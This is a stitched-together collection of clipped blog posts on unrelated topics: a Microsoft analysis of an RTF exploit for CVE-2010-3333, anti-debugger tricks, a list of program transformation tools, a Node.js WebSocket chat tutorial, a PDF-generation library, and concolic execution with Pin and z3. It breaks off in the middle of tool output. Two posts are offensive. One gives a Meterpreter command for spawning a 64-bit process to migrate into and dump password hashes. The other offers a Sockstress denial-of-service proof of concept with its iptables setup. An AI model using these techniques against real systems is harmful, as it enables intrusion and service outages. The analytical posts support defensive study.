src='img/Temp2_7926.png' /><img src='img/Temp2_7927.png' /><img
src='img/Temp2_7926.png' /><img src='img/Temp2_7927.png' /><img
src='img/Temp2_7926.png' /><img src='img/Temp2_7927.png' />

mmpc

29 Dec 2010 12:10 PM

Last November, Microsoft released security bulletin MS10-087, which addresses
a number of critical vulnerabilities in how Microsoft Office parses various
office file formats. One of them isCVE-2010-3333, "RTF Stack Buffer Overflow
Vulnerability," which could lead to remote code execution via specially
crafted RTF data. A few days before Christmas, we received a new sample
\(sha1: cc47a73118c51b0d32fd88d48863afb1af7b2578\) that reliably exploits this
vulnerability and is able to execute malicious shellcode which downloads other
malware.

The vulnerability can be triggered by utilizing a specially crafted RTF file
with a size parameter that is bigger than the expected one. The vulnerability
is present in Microsoft Word. It attempts to copy RTF data to the stack memory
without validating the size, which will lead to overwriting the stack.

<img src='img/Temp2_7929.png' />  
Figure 1.10

After executing the code in figure 1.10, the stack memory is overwritten by
first part of the shellcode. The challenge for the exploit writer here is to
make sure that the shellcode gets control and is executed. In this sample, one
of the return addresses was overwritten by another address, which can be found
in any known DLL loaded in the memory. That address contains a single piece of
code, “Jmp ESP”, that transfer the control to the stack memory containing our
first shellcode.

Let's take a look at the first shellcode:

<img src='img/Temp2_7928.png' />  
Figure 1.20

The code above uses a brute-force method to find the second shellcode entry-
point by searching for the string "pingping" starting from hardcoded address
0x500000. To avoid causing exceptions while parsing these memory pages, it
checks if the page is accessible by calling**NtAccessCheckAndAuditAlarm\(\)**
via Int 2Eh - passing EAX = 2h \(NtAccessCheckAndAuditAlarm system call
ordinal\) and passing the page address in EDX. It returns
**STATUS\_ACCESS\_VIOLATION** to EAX if the page is not accessible.

The second shellcode starts by decrypting the rest of the codes and string
using a XOR operation with constant keys. It retrieves the address of the
needed APIs, downloads the malware from a remote location, and then executes
it. In our sample, it attempts to download a file named svchost.exe and saves
it as <system folder>\a.exe \(detected as Trojan:Win32/Turkojan.C\).

Microsoft detects this exploit as Exploit:Win32/CVE-2010-3333.

We recommend customers that have not yet installed the security update
MS10-087 to do so at their earliest convenience.

For reference, here’s a list of some SHA1s we’ve seen related to these
targeted attacks:

  * 00d9af54c5465c28b8c7a917c9a1b1c797b284ab
  * 24ee459425020ea61a10080f867529ea241c51dc
  * 2e6abd663337c76379ae26b8aa6cf4db98137b64
  * 77637eccf9011d420cccc520bcb3ed0cf907dc00
  * CC47A73118C51B0D32FD88D48863AFB1AF7B2578

\-- Rodel Finones

# waliedassar: Debuggers Anti-Attaching Techniques - Part 1

**Created:**| _12/19/2011 9:49:36 AM_  
---|---  
**Updated:**| _12/19/2011 9:49:36 AM_  
**Author:**| __  
**Tags:**| _anti-debugging_  
  

##

###  Debuggers Anti-Attaching Techniques - Part 1

It's been a while since i played with packing/unpacking tricks. So, i am going
to choose some fancy tricks and try to explain them in detail.  
  
The story begins when i was trying to analyze a security issue in an infamous
application. I tried to attach ollydbg to the running process but the process
immediately crashed. I quickly googled "anti-attach tricks" and found many
useful links.  
  
In the next few posts, i am going to explain those anti-attach tricks.  
  
It would surely be better to understand how debuggers attach themselves to
running processes in order to understand those tricks and perhaps innovate new
ones.  
  
The main idea behind attaching is that a debugger calls the
"DebugActiveProcess" function which ends up with calling the
"RtlCreateUserThread" function to create a new remote thread into the target
process, with the "DbgUiRemoteBreakin" function as the new thread entry point.  
  
Thread creation occurs in the "DbgUiIssueRemoteBreakin" function, which looks
something like the highlighted line in the image below.  

<img src='img/Temp2_10705.jpg' width='400' height='287' />

  
As far as i see, one way to prevent debuggers from attaching to a process is
conducted by hooking the "DbgBreakUiRemoteBreakin" or "DbgBreakPoint"
function.  
  
I will write a simple executable to demonstrate that. It overwrites the first
byte of the "DbgUiRemoteBreakin" function with 0xC3, opcode for retn, thus
killing this kind of threads. Similarly, we can patch the "DbgBreakPoint"
function.  
  

<img src='img/Temp2_10704.jpg' width='400' height='300' />

Here you can download the source code for the example above.

  

  

Trying to attach to such a process, as you can see in the image below, results
in an access violation.

  

<img src='img/Temp2_10706.jpg' width='400' height='300' />

  

Bypassing this trick is pretty easy. Just use ollydbg to debug itself, set a
breakpoint on the "RtlCreateUserThread" function call, and finally modify its
seventh paramter to point to any int3 in the target process address space.

<img src='img/Temp2_10703.jpg' width='400' height='300' />

  

Once execution stops at int3 \(in the debugged ollydbg\), kill the current
thread.

  

This way we can by pass any API patching regardless of which function is
patched in the target process address space.

  

This bypass trick seems to be impractical. So, i decided to write a simple
ollydbg plugin for this situation. The plugin simply patches the
"DebugActiveProcess" function in ollydbg.exe to jump to the plugin code. The
code gets the target process identifier \(pid\) from the stack and then writes
a few instructions to the the "DbgUiRemoteBreakin" function prologue in this
process address space.

  

Here you can download the plugin dll.

Here is the virustotal report.

  

N.B. This write-up is based on analysis conducted on Windows XP SP3. Soon, I
will extend it to include later operating systems.

  

N.B. The plugin is only tested on windows XP SP3.

# Program Transformation Wiki / Transformation Systems

**Created:**| _4/22/2010 6:55:12 PM_  
---|---  
**Updated:**| _4/22/2010 6:55:31 PM_  
**Author:**| __  
**Tags:**| _bookmark binary instrumentation reversing binary translation_  
  

# Transformation Systems

Program-Transformation.Org: The Program Transformation Wiki

A program transformation system is a \(collection of\) tool\(s\) for
implementing ProgramTransformations.

**Survey of Transformation Systems**

There are many transformation systems. One of the reasons for setting up
ProgramTransformationOrg was to get some overview of the plethora of systems.
Below is a list of systems ordered by alphabet. To get more insight in the
relationships between systems, the TransformationSystemTaxonomygroups systems
based on their characteristics.

_Ordered Alphabetically_

  * AcaCia
  * ActionSemantics
  * ADATE
  * Amphion
  * ANGIEGenerationNow\!
  * ANTLR
  * APTS
  * ASFandSDF
  * AST?
  * ASTLOG
  * AttributeGrammar
  * ATXSoftwareIntegrationArchitecture
  * AspectOrientedProgramming
  * ASQ

  * BANE
  * BauHaus
  * BroadwayCompiler
  * BURG

  * CENTAUR?
  * CIP
  * CKIT
  * CocktailToolbox
  * CodeCrawler
  * Colm
  * CompostFramework
  * Columbus

  * DERIVE
  * DMSSoftwareReengineeringToolkit
  * DiSTiL
  * DOME
  * DoraTools
  * DracoSystem
  * DracoPUC
  * DrScheme

  * ELAN
  * ElegantLanguage
  * ElkHound

  * FermaT
  * FreshML
  * FormsToDotNet

  * GCC
  * GemMex
  * GenericModelingEnvironment
  * GRAMPS
  * GSEE

  * HaskellLanguage
  * HaXml
  * HATS
  * HOPS

  * InjectJ \(Java Software Transformation System\)
  * IntentionalProgramming

  * JaTS \(Java Transformation System\)
  * JavaTreeBuilder
  * Tools.JJForester
  * JOIE

  * KHEPERA
  * KIDS

  * LambdaProlog
  * LegacyCare
  * LxLanguage
  * LPS

  * MathematicaSystem?
  * MemphisTreeWalker
  * MetaML
  * MAG
  * MAPTransformationSystem
  * MaudeSystem
  * MetaEditPlus
  * MontagesFramework
  * MozartDev

  * NewJacc

  * OPTIMIX
  * OPTRAN

  * PARLANSE
  * PatternByExample
  * PearColator
  * PolyaSystem?
  * PopArt
  * PortableBookShelf
  * PropLanguage
  * PumaLanguage
  * PROSPECTRA

  * ReasoningSystem?
  * RefactorySystem?
  * RigiSystem

  * SciNapse
  * Shimba?
  * SimilixSystem
  * SmalltalkRefactory
  * SourceAudit
  * SpecWare
  * StrategoXT
  * SORCERER

  * TabalugaSystem
  * TAMPR
  * TempoSpecializer
  * TeyjusSystem
  * Tom
  * TrfL
  * TXL \(Tree Transformation Language\)

  * XDuce
  * XRefactory
  * XTRAN
  * Tools.XT?\(transformation tools\)

**Other Collections of Systems**

  * Catalog of Compiler Construction Tools:
    * http://catalog.compilertools.net/
    * http://www.landfield.com/faqs/compilers/
  * Posting on comp.compilers newsgroup
    * http://compilers.iecc.com/comparch/article/93-05-027
  * Data Base of Rewriting Systems
    * http://www.loria.fr/equipes/protheo/SOFTWARES/ELAN/
  * Google Web Directory
    * http://directory.google.com/Top/Computers/Programming/Compilers/
  * Freek Wiedijk's overview of theorem provers
    * http://www.cs.kun.nl/~freek/digimath/
  * ProgrammingToolsGroup Links
    * http://web.comlab.ox.ac.uk/oucl/research/areas/progtools/links.htm

**See Also**

  * ProgramTransformationSurvey
  * ImplementationOfTransformation
  * ProgrammingLanguages

# Elegant Code » Taking Baby Steps with Node.js – WebSockets

**Created:**| _5/31/2011 10:05:20 PM_  
---|---  
**Updated:**| _5/31/2011 10:05:30 PM_  
**Author:**| __  
**Tags:**| _programming JavaScript_  
  

## Taking Baby Steps with Node.js – WebSockets

May 4th, 2011

Goto comments Leave a comment

Here are the links to the previous installments:

  1. Introduction
  2. Threads vs. Events
  3. Using Non-Standard Modules
  4. Debugging with node-inspector
  5. CommonJS and Creating Custom Modules
  6. Node Version Management with n
  7. Implementing Events
  8. BDD Style Unit Tests with Jasmine-Node Sprinkled With Some Should
  9. “node\_modules” Folders
  10. Pumping Data Between Streams
  11. Some Node.js Goodies
  12. The Towering Inferno
  13. Creating TCP Servers

HTML5 is definitely one of the hot topics du jour. There are several
technologies that are part of the upcoming HTML5 standard, where one of the
most exciting additions is WebSockets. This also means that it’s a quite
popular topic in Node.js circles as well, as this technology tends to resonate
well with the needs of real-time web applications. And I also admit that I’ve
been putting off this topic way too long in this blog series. But hey, better
late than never, right?

In short, WebSockets allow for bidirectional, cross-domain communication
between the client \(browser\) and the server. When building web applications
that need to frequently update the data that they’re displaying, one of the
traditional approaches is to make use of long-polling and Ajax. Instead of
letting the client drive the communication, we can now make use of WebSockets
to invert this traditional model and instead let the server push the data to
the client as soon as updates become available. Making use of WebSockets also
reduces overhead compared to HTTP/Ajax because there are less headers involved
that have to travel back and forth, which makes this kind of real-time
communication more efficient. But, as always, there’s a major downside
involved as well. Because the HTML5 standard is relatively new, only the most
recent versions of the different browsers out there provide support for
WebSockets out-of-the-box. Because WebSockets are not available in every
browser, this means that we’re back to square one.

Enter Socket.IO.

Socket.IO provides a unified WebSocket API that works on every browser \(yes,
even IE 6\) and it does that by supporting multiple communication transports
under the hood. You can consider this library to be the jQuery of WebSockets
<img src='img/Temp2_2552.gif' alt=';-)' /> . The API provided by Socket.IO
clearly resembles the native WebSocket API of HTML5. The WebSocket library
consists of two parts, one for the client and one for the server. But enough
of this blabbering. Let’s look at some code.

The simplest and most common example out there is that of a chat server. We
need an HTTP server that returns a single HTML page where users can enter
their name and start chatting. Sounds simple enough.

In order to serve a static HTML page and the client Socket.IO JavaScript file,
we use a library called node-static. This is just a module that serves static
files through HTTP, which also provides support for built-in caching.

This is how to set it up:

[code]

    var clientFiles = new static.Server('./client');
    
    var httpServer = http.createServer(function(request, response) {
        request.addListener('end', function () {
            clientFiles.serve(request, response);
        });
    });
    httpServer.listen(2000);
    
[/code]

The static files that are meant to be sent to the browser are stored in a
separate directory named _‘client’,_ which exists in the root folder of our
project. We first create a file server instance, specifying the location of
our static files, and simply serve the requested files when they are
requested.

Next, let’s have a look at the content of the one and only HTML page that
we’re providing for our simple chat application.

[code]

    <html
    >
    
        <head
    >
    
            <title
    >
    Simple chat o' rama</title
    >
    
        </head
    >
    
        <body
    >
    
            <div
    >
    
                <p
    >
    
                    <label for="messageText"
    >
    Message</label
    >
    
                    <input type="text" id="messageText"/>
                </p
    >
    
                <p
    >
    
                    <button id="sendButton"
    >
    Send</button
    >
    
                </p
    >
    
            </div
    >
    
            <div
    >
    
                <ul id="messages"
    >
    
                </ul
    >
    
            </div
    >
    
            <script type="text/javascript"
                    src="http://localhost:2000/socket.io.js"></script
    >
    
            <script type="text/javascript"
                    src="http://code.jquery.com/jquery-1.5.2.js"></script>
    
            <script type="text/javascript">
                $(document).ready(function() {
                    var webSocket = new io.Socket('localhost', { port: 2000 });
                    webSocket.connect();
    
                    webSocket.on('connect', function() {
                        $('#messages').append('<li>Connected to the server.</li>');
                    });
    
                    webSocket.on('message', function(message) {
                        $('#messages').append('<li>' + message + '</li>');
                    });
    
                    webSocket.on('disconnect', function() {
                        $('#messages').append('<li>Disconnected from the server.</li>');
                    });
    
                    $('#sendButton').bind('click', function() {
                        var message = $('#messageText').val();
                        webSocket.send(message);
                        $('#messageText').val('');
                    });
                });
            </script
    >
    
        </body
    >
    
    </html
    >
    
    
[/code]

In order to establish communication with the server, we create a new socket
and call the _connect\(\)_ method. Next, we register some event handlers and
log some text to the screen in order to easily follow what is going on. We
also use a little bit of jQuery to hook up to the _click_ event of the _send_
button. Here we use the socket that we created to send the message to the
server. Notice how closely the API provided by Socket.IO resembles the native
WebSocket API put forward by the current HTML5 specification.

And finally, here’s the code for integrating Socket.IO on the server.

[code]

    var webSocket = socketIO.listen(httpServer);
    webSocket.on('connection', function(client) {
        client.send('Please enter a user name ...');
    
        var userName;
        client.on('message', function(message) {
            if(!userName) {
                userName = message;
                webSocket.broadcast(message + ' has entered the zone.');
                return;
            }
    
            var broadcastMessage = userName + ': ' + message;
            webSocket.broadcast(broadcastMessage);
        });
    
        client.on('disconnect', function() {
            var broadcastMessage = userName + ' has left the zone.';
            webSocket.broadcast(broadcastMessage);
        });
    });
    
[/code]

We first ask for the name of the user and for simplicity sake we assume that
the first message received from a particular user is in fact the user name.
From then on, every message that we receive from a user is broadcasted to all
other connections.

Seeing this in action is pretty much what we expect.

<img src='img/Temp2_2551.gif' width='286' height='284' alt='image' /><img
src='img/Temp2_2550.gif' width='285' height='283' alt='image' />

I know that a real-time chat server application is the canonical example for
demonstrating Socket.IO. But think of the real-world possibilities here.
Suppose we have a web application where a user X changes some data and sends
these changes to the server. These changes can then automatically be updated /
merged when another user B is looking at the same data in order to reduce
potential concurrency issues when this user B wants to change something as
well. This greatly enhances the end-user experience. And there are a ton of
other scenarios where this technology can make a difference.

The only aspect that somewhat troubles me about WebSockets is security. This
is also the very reason why Mozilla disabled WebSockets in Firefox 4. But
don’t dismiss it entirely either as more improvements will surely come soon.

I want to round off this post by pointing you to some other libraries that one
can use to accomplish real-time communication between client and server. The
first is node.ws.js, which is an minimal WebSocket library for Node.js.
There’s also Faye, which is an easy to use publish-subscribe message system
based on the Bayeux protocol.

Until next time and happy messaging\!

# x86 Disassembly Exploring the relationship between C, x86 Assembly, and
Machine

**Created:**| _7/17/2017 11:30:56 AM_  
---|---  
**Updated:**| _7/17/2017 11:41:05 AM_  
**Author:**| __  
**Tags:**| __  
  

  
<img src='img/index.php.pdf' />  

# Room362.com - Blog - Create a 64bit Process From a x86/32bit One

**Created:**| _10/7/2011 10:18:47 AM_  
---|---  
**Updated:**| _10/7/2011 10:18:47 AM_  
**Author:**| __  
**Tags:**| _x86 windows environment x64_  
  

## Create a 64bit Process From a x86/32bit One

Wednesday, September 28, 2011 at 1:45AM

On Vista and above there is a Windows 'Redirector' \(A redirector is basically
a Symlink or fake directory that's there but not in Windows\) \(more info
here\) that allows a 32bit process create a 64bit one. For anyone who has
tried to run 'execute -H -c -f notepad.exe', they know that if they are in a
32bit process, they get a 32bit notepad even if they are on a 64bit system,
which is annoying. So if you don't want to read the link above you can create
a stable 64bit notepad.exe by doing the following:

execute –H –c –f “C:\\\WINDOWS\\\Sysnative\\\notepad.exe”

Now you can migrate into that notepad, Metasploit/Meterpreter will handle not
only the network socket switch but the upgrade to a 64bit process. Now, you
should be able to dump hashes like I talked about \(here\).

Of course you need to change the drive and windows directory to match your
target \(Language changes and base drive changes apply\), but the rest should
work as perscribed.

Rob Fuller |  Post a Comment |  Share Article 

# Sockstress | Ack Ack
**Created:**| _8/1/2011 7:48:02 AM_  
---|---  
**Updated:**| _8/1/2011 7:48:02 AM_  
**Author:**| __  
**Tags:**| _DoS network-security_  
  

# Sockstress

  * By Fredrik Nordberg Almroth
  * |
  * 30/05/2011
  * |
  * Computer Security, Critical, Denial of Service, Network Security

Back in good old 2008, a researcher at the security firm Outpost24 \- Jack C.
Louis; found a crucial DoS vulnerability in the fundaments of TCP/IP.  
In fact, it turned out to be so powerful, that all major operating systems
appeared to be vulnerable.

> "Sockstress is a program that is used to attack servers on the Internet and
> other networks utilizing TCP, including Windows, Mac, Linux, BSD and any
> router or other internet appliance that accepts TCP / BGP connections." \-
> Wikipedia
...Pretty much all of the Internet was vulnerable.

A good friend of mine, Johan Edholm, attended the Sec-T conference in
Stockholm.  
He was listening to the Sockstress-speech whom later on informed me about it.

A few weeks later, I managed to pull a PoC off.

So here it is folks\! The Internet should be pretty patched up by now
\(_hopefully_\).

> Download: sockstress.zip
My PoC **do not** pull off zero-window TCP connections - however it should be
rather easy for you to add.  
I remember, it wasn't needed for Windows Vista to **BSoD**. So have fun\!

Even if your system wont lockup / freeze / reboot it will still be a powerful
DoS.

It's way more powerful than a regular SYN-flood due to the fact you can hold
the connections alive in user-land.  
For those of you who aren't informed, this picture should tell you the design
of the attack:

<img src='img/Temp2_7611.gif' width='304' height='393' />

...With other words, you spoof valid TCP connections.  
Your target sees them as legit, and holds them open.  
You on the other hand, discards them - or holds them in user-land for
_experimental purposes \(like null-windows\)_.

Conclusion:

<img src='img/Temp2_7610.gif' width='200' height='200' alt='Sockstress DoS' />

My proof of concept is made up of 3 perl scripts:

  * **cannon.pl** :  
Cannon is a regular TCP port scanner.  
Once it finds an open port, it executes silverstress.pl.

  * **silverstress.pl** :  
Silverstress launches \(_by default_\) 4 sockstress forks.  
Distributed evenly over the amount of packets to send, source-port\(s\) and
TCP/SYN sequence.

  * **sockstress.pl** :  
Sockstress sniffs for incomming SYN/ACK packets - analyzed them, and sends
back a valid bunch ACK-packets.  
Hence, establishing the connections.

In order to disallow \*NIX to send back ACK/RST's \(_it doesn't take kindly to
arbitrary SYN/ACK packets_\)  
You should run the following snippet:

> iptables -A OUTPUT -p tcp --tcp-flags RST,ACK,SYN RST -j DROP
Basically, it just filters the away the _bad_ traffic.  
That's it. Nothing fishy.

See it as an OSI4 Slowloris\!

I hope you enjoyed it.  
Please tell me if you find any other nifty use of it \(_and don't complain too
much on my perl skills, atleast it works_\)\!

Cheers\!

# miniPDF.py reinventing the wheel of PDF evilness « Feliam's Blog

**Created:**| _1/14/2010 11:41:33 AM_  
---|---  
**Updated:**| _1/14/2010 11:41:45 AM_  
**Author:**| __  
**Tags:**| _Exploit Malware-analysis_  
  

## miniPDF.py reinventing the wheel of PDF evilness

By feliam

Last year I coded a mini PDF rendering library from scratch. Mostly as a way
to go through all PDF spec and learn something about it. Nowadays you’ll find
other probably better options for managing PDF programatically like pyPDF
orPDF::Writer. Anyway mine is here. \(Also presented at uCon in Feb 2009.
Slideshere\)

It supports only the most basic file structure \(PDF3200:7.5.1\), that’s it
without incremental updates or linearization.

<img src='img/Temp2_10456.jpg' width='200' />| • A one-line header identifying
the version of the PDF specification to which the file conforms• A body
containing the objects that make up the document contained in the file • A
cross-reference table containing information about the indirect objects in the
file • A trailer giving the location of the cross-reference table and of
certain special objects within the body of the file  
---|---  
Also all base PDF types: null, Object references, strings, numbers, arrays and
dictionaries.

A minimal text displaying PDF will have this structure \(BUG:the resources
dictionary should be hanging from a page\(I think\)\)…  
<img src='img/Temp2_10457.jpg' width='400' />  
and will have this look in python.

First we import the lib and create a PDFDoc object representing a document in
memory …

from miniPDF import \*  
doc = PDFDoc\(\)

As shown in the last figure the main object is the Catalog. The next 3 lines
construct a Catalog Dictionary object, add it to the document and set it as
the root object…

catalog = PDFDict\(\{“Type”: PDFName\(“Catalog”\)\}\)  
doc.add\(catalog\)  
doc.setRoot\(catalog\)

And the Pages dictionary..

pages = PDFDict\(\{“Type”,PDFName\(“Pages”\)\}\)  
catalog.add\(“Pages”, PDFRef\(pages\)\)  
doc.add\(pages\)

At this point we don’t even have a valid pdf but this is how the output will
look like …

`  
%PDF-1.3  
%....  
1 0 obj  
<<<>> >>  
endobj  
xref  
0 2  
0000000000 65535 f  
0000000015 00000 n  
trailer  
<>  
startxref  
78  
%%EOF  
`

Let’s add a page with some content. Forst we add the contents stream to the
document…

contents=PDFStream\(”’BT  
/F1 24 Tf  
240 700 Td  
\(Pedefe Pedefeito Pedefeon\!\) Tj  
ET”’\)  
doc.add\(contents\)

And then the page, referencing the already added contents…

page = PDFDict\(\{“Type”:PDFName\(“Page”\)\}\)  
page.add\(“Contents”, PDFRef\(contents\)\)  
doc.add\(page\)

And link the page in the Pages dictionary …

pages.add\(“Kids”, PDFArray\(\[PDFRef\(page\)\]\)\)  
pages.add\(“Count”, PDFNum\(1\)\)  
\#add parent reference in page  
page.add\(“Parent”,PDFRef\(pages\)\)

But we have used a font named /F1 in the contents stream so we need to add it
to the doc…

font = PDFDict\(\)  
font.add\(“Name”, PDFName\(“F1″\)\)  
font.add\(“Subtype”, PDFName\(“Type1″\)\)  
font.add\(“BaseFont”, PDFName\(“Helvetica”\)\)

Mapped in the font-name map dictionary…

fontname = PDFDict\(\)  
fontname.add\(“F1″,font\)

And finally link the font in the page resources dictionary…

resources = PDFDict\(\)  
resources.add\(“Font”,fontname\)  
page.add\(“Resources”,resources\)

That’s it. Let’s print it to stdout

print doc

To try it..  
`  
python mkTXTPDF.py >test.pdf  
`  
You can download a test bundle here. And the generated pdf, here.

f/

# shell-storm | Binary analysis: Concolic execution with Pin and z3
**Created:**| _8/15/2016 1:47:34 PM_  
---|---  
**Updated:**| _8/15/2016 1:47:34 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Binary analysis: Concolic execution with Pin and z3

by Jonathan Salwan \- 2013-08-28

* * *
**1 - Introduction**  
**2 - Concolic execution**  
**3 - Proof of concept on dumb crackme**  
3.1 - Introduction  
3.2 - Compile a Pin tool with Z3 C++ API  
3.3 - Save and solve the constraints  
3.4 - Demo on the first crackme  
3.5 - Another crackme using XOR-based algorithm  
**4 - Conclusion**  
4.1 - My Pin tool  
4.1 - References  
4.2 - Special thanks  

**Edit 2015-09-06** : Check out our Pin-based concolic execution framework
using python bindings.

### 1 - Introduction

In a previous post, I talked about the concolic execution using Valgrind to
the taint analysis and z3 to the constraint path solving. So why another blog
post about this technique? Because recently my previous researchs was around
Pin and because Pin is supported on Linux, Windows and Mac. I also wanted to
see how it's possible to do it without IR - With Valgrind and z3 it was pretty
easy because Valgrind provides an IR \(VEX\). Then, it can be useful for other
people or it can be give some new ideas. :-\).

### 2 - Concolic execution

We can find two types of analysis, static and dynamic analysis. Both
approaches have some advantages and disadvantages. If you use dynamic
analysis, we can't cover all the code but you will be more reliable. If you
use static analysis, you can cover the code, but you can't get the context
information at runtime. The concolic execution is a technic that uses both
symbolic and concrete execution to solve a constraint path. The concolic
execution is mainly used to cover a code. To list the constraints, the
symbolic execution is used. Below, a little example about the symbolic
execution:

[code]

    int foo(int i1, int i2)
    {
        int x = i1;
        int y = i2;
    
        if (x > 80){
            x = y * 2;
            y = 0;
            if (x == 256)
                return True;
        }
        else{
            x = 0;
            y = 0;
        }
        /* ... */
        return False;
    }
    
[/code]

Based that code, we can see 3 differents paths, for each path we have a
specific constraint. The constraints tree look like that:

<img src='img/Temp2_10630.png' width='400' height='368' alt='Constraint Path'
/>

So, we can say that this code can return **False** via two differents paths
and **True** via only one path. With the symbolic execution, it's possible to
know which constraints are necessary to return **False** or **True**.

<img src='img/Temp2_10632.png' width='400' height='93' alt='Constraint Path'
/>

The concolic execution will use the concrete execution to save and solve the
constraints at runtime. With this above case, to cover this code, the program
will be executed three times and for each execution, one constraint will be
solved to take another path. That's what we'll see in the next chapter.

### 3 - Proof of concept on dumb crackme

#### 3.1 - Introduction

We will start to analyze a simple code which contains only three simple
conditions. The goal will be to solve this crackme automatically via the
concolic execution.

[code]

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <fcntl.h>
    
    int main(void)
    {
      int   fd;
      char  buff[260] = {0};
    
      fd = open("serial.txt", O_RDONLY);
      read(fd, buff, 256);
      close(fd);
    
      if (buff[0] != 'a') return False;
      if (buff[1] != 'b') return False;
      if (buff[2] != 'c') return False;
    
      printf("Good boy\n");
    
      return True;
    }
    
[/code]

Based on that code, if we represent all paths and constraints, our constraints
tree will look like that:

<img src='img/Temp2_10628.png' width='460' height='388' />

This code contains four possible paths. Each path has its constraints.

[code]

          +-----------+----------------------------------------------------+--------------+
          | PC number |                    Constraints                     | return value |
          +-----------+----------------------------------------------------+--------------+
          |     1     | buff[0] != 'a'                                     | return False | 
          |     2     | buff[0] == 'a' && buff[1] != 'b'                   | return False |
          |     3     | buff[0] == 'a' && buff[1] == 'b' && buff[2] != 'c' | return False |
          |     4     | buff[0] == 'a' && buff[1] == 'b' && buff[2] == 'c' | return True  |
          +-----------+----------------------------------------------------+--------------+
    
[/code]

Now that we have listed all constraints which are possible, we can cover the
code. For that, we need to run the program with the first constraint, then we
re-run the program with the second constraint and repeat this operation until
the last constraint is executed. This operation is called the concolic
execution. Below you can see a diagram representing this execution.

<img src='img/Temp2_10631.png' width='600' height='750' alt='Crackme1
constraints concolic' />

As you can see above, we can cover all the code with only four executions.
Now, we will see how it's possible to implement it with Pin. For that we need
to:

  * Taint the serial.txt buffer.
  * Follow our data \(Spread the taint\).
  * Save the first constraint.
  * Solve this constraint.
  * Re-run the binary with the first constraint solved.
  * And repeat this operation for each constraint \(each path\)...

In this blog post, we will not talk about the taint analysis, for that, you
can read my previous post. Then, to solve the constraints we will use the
theorem prover Z3 and its C++ API.

#### 3.2 - Compile a Pin tool with Z3 C++ API

We will use the Z3 C++ API inside the Pin tool. So, you need to install the Z3
library and add the headers/lib in the compile line. In my case, I downloaded
the z3.zip in my pintool directory and I compiled the library. Then, to
compile my Pin tool, I created a shell script which compiles with the Z3
headers/lib. This script looks like that:

[code]

    $ pwd
    /home/jonathan/Works/Tools/pin-2.12-58423-gcc.4.4.7-linux/source/tools/ConcolicExecution
    
    $ cat compile.sh
    g++ -DBIGARRAY_MULTIPLIER=1 -DUSING_XED -Wall -Werror -Wno-unknown-pragmas -fno-stack-protector -DTARGET_IA32E -DHOST_IA32E -fPIC -DTARGET_LINUX  -I../../../source/include/pin -I../../../source/include/pin/gen -I../../../extras/components/include -I./z3/src/api/c++ -I../../../extras/xed2-intel64/include -I../../../source/tools/InstLib -O3 -fomit-frame-pointer -fno-strict-aliasing    -c -o obj-intel64/ConcolicExecution.o ConcolicExecution.cpp
    
    g++ -shared -Wl,--hash-style=sysv -Wl,-Bsymbolic -Wl,--version-script=../../../source/include/pin/pintool.ver    -o obj-intel64/ConcolicExecution.so obj-intel64/ConcolicExecution.o  -L../../../intel64/lib -L../../../intel64/lib-ext -L../../../intel64/runtime/glibc -L../../../extras/xed2-intel64/lib -lpin -lxed -ldwarf -lelf -ldl -lz3
    $
    
[/code]

#### 3.3 - Save and solve the constraints

If we look the ASM representation of our C code. We can see that this code
loads in the "**eax** " register our character \("**rbp-0x110** " points on
our serial buffer\). Then, it compares the smaller size register "**al** "
with a constant and it jumps to two different space if it's true or false.

[code]

    .text:400683:  movzx  eax,BYTE PTR [rbp-0x110]
    .text:40068a:  cmp    al,0x61
    .text:40068c:  je     400695 <main+0x81>
    .text:40068e:  mov    eax,0x1
    .text:400693:  jmp    4006c8 <main+0xb4>
    
    .text:400695:  movzx  eax,BYTE PTR [rbp-0x10f]
    .text:40069c:  cmp    al,0x62
    .text:40069e:  je     4006a7 <main+0x93>
    .text:4006a0:  mov    eax,0x1
    .text:4006a5:  jmp    4006c8 <main+0xb4>
    
    .text:4006a7:  movzx  eax,BYTE PTR [rbp-0x10e]
    .text:4006ae:  cmp    al,0x63
    .text:4006b0:  je     4006b9 <main+0xa5>
    .text:4006b2:  mov    eax,0x1
    .text:4006b7:  jmp    4006c8 <main+0xb4>
    
    .text:4006b9:  mov    edi,0x4007c7
    .text:4006be:  call   4004e0 <puts@plt>
    
    .text:4006c3:  mov    eax,0x0
    .text:4006c8:  leave  
    .text:4006c9:  ret
    
[/code]

This code is pretty simple and if we taint the datas used in our serial.txt,
we have something like that:

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff194a6600 to 0x7fff194a6700 (via read)
    [READ in 7fff194a6600]  400683: movzx eax, byte ptr [rbp-0x110]
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
[/code]

Now, the real question is: Where does start and stop the equation? I think
it's real good/complicated question and I am currently still working on that\!
However, in your case, we will start an equation when a byte controllable by
the user is **LOAD** and we will stop it when the "**cmp** " instruction
occurs. We will also assign an unique ID for each constraint.

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff194a6600 to 0x7fff194a6700 (via read)
    [READ in 7fff194a6600]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x78
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
[/code]

As you can see above, we assign the first constraint with the unique ID
**\#0**. This constraint was the first, so we tag it to remember that's
possible to control it via the user input. Then, when the "**cmp** " occurs,
we display the full equation.

To maintain a link between a register and a constraint number, a table is
updated. When a constraint is assigned, it's also assigned to a register.

<img src='img/Temp2_10625.png' width='210' height='221' alt='Reg constraint
table' />

That means `eax = #0 = 0x78` \- 0x78 is our first character in our serial.
Then `cmp(al, 0x61) = cmp(#0, 0x61)` because `eax = #0` and `cmp(#0, 0x61) =
cmp(x, 0x61)` because `#0` is the first constraint of our equation.

Now to solve this equation we just use Z3.

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff194a6600 to 0x7fff194a6700 (via read)
